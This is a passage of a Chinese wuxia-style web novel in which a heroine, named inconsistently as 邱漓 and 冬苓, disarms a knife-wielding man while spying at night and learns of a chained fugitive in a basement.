邱漓屏住呼吸,感觉到身后传来温热的体温。 追兵的脚步声从门外跑过,渐渐远去。 “多谢......” 她刚要道谢,突然感觉颈间一凉——一柄匕首抵在了她的咽喉。 “你是谁?为何夜探龟公住所?”男人的声音冷了下来。 “我是......” 冬苓故意放低说话的音量。 趁那男子靠近聆听时,邱漓抓住机会,身体猛地向后一靠,同时右手肘狠狠击向男人的肋下。 男人吃痛,下意识地松了松手。 邱漓赶忙低头,从匕首下方滑出,同时转身,一脚踢向男人的手腕。 匕首应声落地,发出清脆的金属撞击声。 “公子,没人教过你,刀要拿稳一些吗?” 冬苓说这话的时候轻笑出声,带着几分讥诮。 这人一看就是那种从未拿过刀的人,平日里怕是连只鸡不敢杀吧。 “你!”男人怒喝一声,伸手想要抓住她。 冬苓身形一闪,退到几步之外,手中不知何时多了一根细长的银针,针尖在月光下泛着冷光。 “公子,我劝你别轻举妄动。” 她微微一笑,眼中闪过一丝狡黠。 “这针上涂了点有趣的东西,若是刺中了,怕是您今晚就得在这儿躺上一宿了。” 男人眯起眼睛,显然在权衡利弊。 冬苓趁机继续说道:“我无意与公子为敌,今夜之事,就当从未发生过,如何?” 看那人沉默了以后,冬苓就以为这事儿翻篇了。 刚转身要走的时候,又听到那人冷不丁的来了句:“地下室。” “什么?” “你可曾看过他家地下室?” “这不是还没来得及嘛。” 冬苓耸了耸肩,继续问道:“地下室有什么?” “逃犯。” “哈?” 冬苓不太明白他这话什么意思,不禁挑了下眉。 “苍了天了,这什么东西?” 邱漓看着眼前铁链锁着浑身散发着臭味的女子,露出了难以置信的神情。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。